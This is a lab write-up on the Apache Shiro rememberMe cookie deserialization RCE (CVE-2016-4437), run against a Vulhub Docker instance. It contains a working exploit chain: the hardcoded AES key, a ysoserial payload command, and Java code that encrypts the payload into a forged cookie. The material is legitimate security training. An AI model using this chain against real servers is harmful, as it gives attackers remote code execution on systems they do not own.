Shiro

Apache Shiro Deserialization RCE

Apache Shiro is a powerful and easy-to-use Java security framework that performs authentication, authorization, cryptography, and session management.

In order to maintain user's login status, Shiro implemented the rememberMe cookie. This cookie is encrypted. However, Shiro used a hardcoded AES encryption key kPH+bIxk5D2deZiIxcaaaA==. This allows an attacker to forge a cookie containing an malicious object that causes RCE. Shiro will then decrypt this cookie and deserialize it, and then the RCE payload will be triggered.

This is how rememberMe cookie is processed by the server side:

get rememberMe cookie -> Base64 decode -> AES decryption -> deserialization

This is how we achieve RCE by reversing the above logic:

serialized command -> AES encryption -> Base64 encode -> rememberMe cookie

If you find rememberMe=deleteMe in a failed login attempt, then the web app is vulnerable to Shiro deserialization.

Lab: Vulhub Apache Shiro 1.2.4 Deserialization RCE

Setup

Spawn a Docker instance:

cd vulhub/shiro/CVE-2016-4437
docker-compose up -d

The vulnerable application will be hosted on http://localhost:8080. Log in with credential admin:vulhub.

Generate RCE payload using ysoserial:

ysoserial CommonsBeanutils1 "touch /tmp/success" > poc.ser

Encrypt the payload using the hardcoded key:

package org.vulhub.shirodemo;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

Send the output as rememberMe cookie. Verify that the RCE works:

docker-compose exec web bash
ls -l /tmp

Reference

Last updated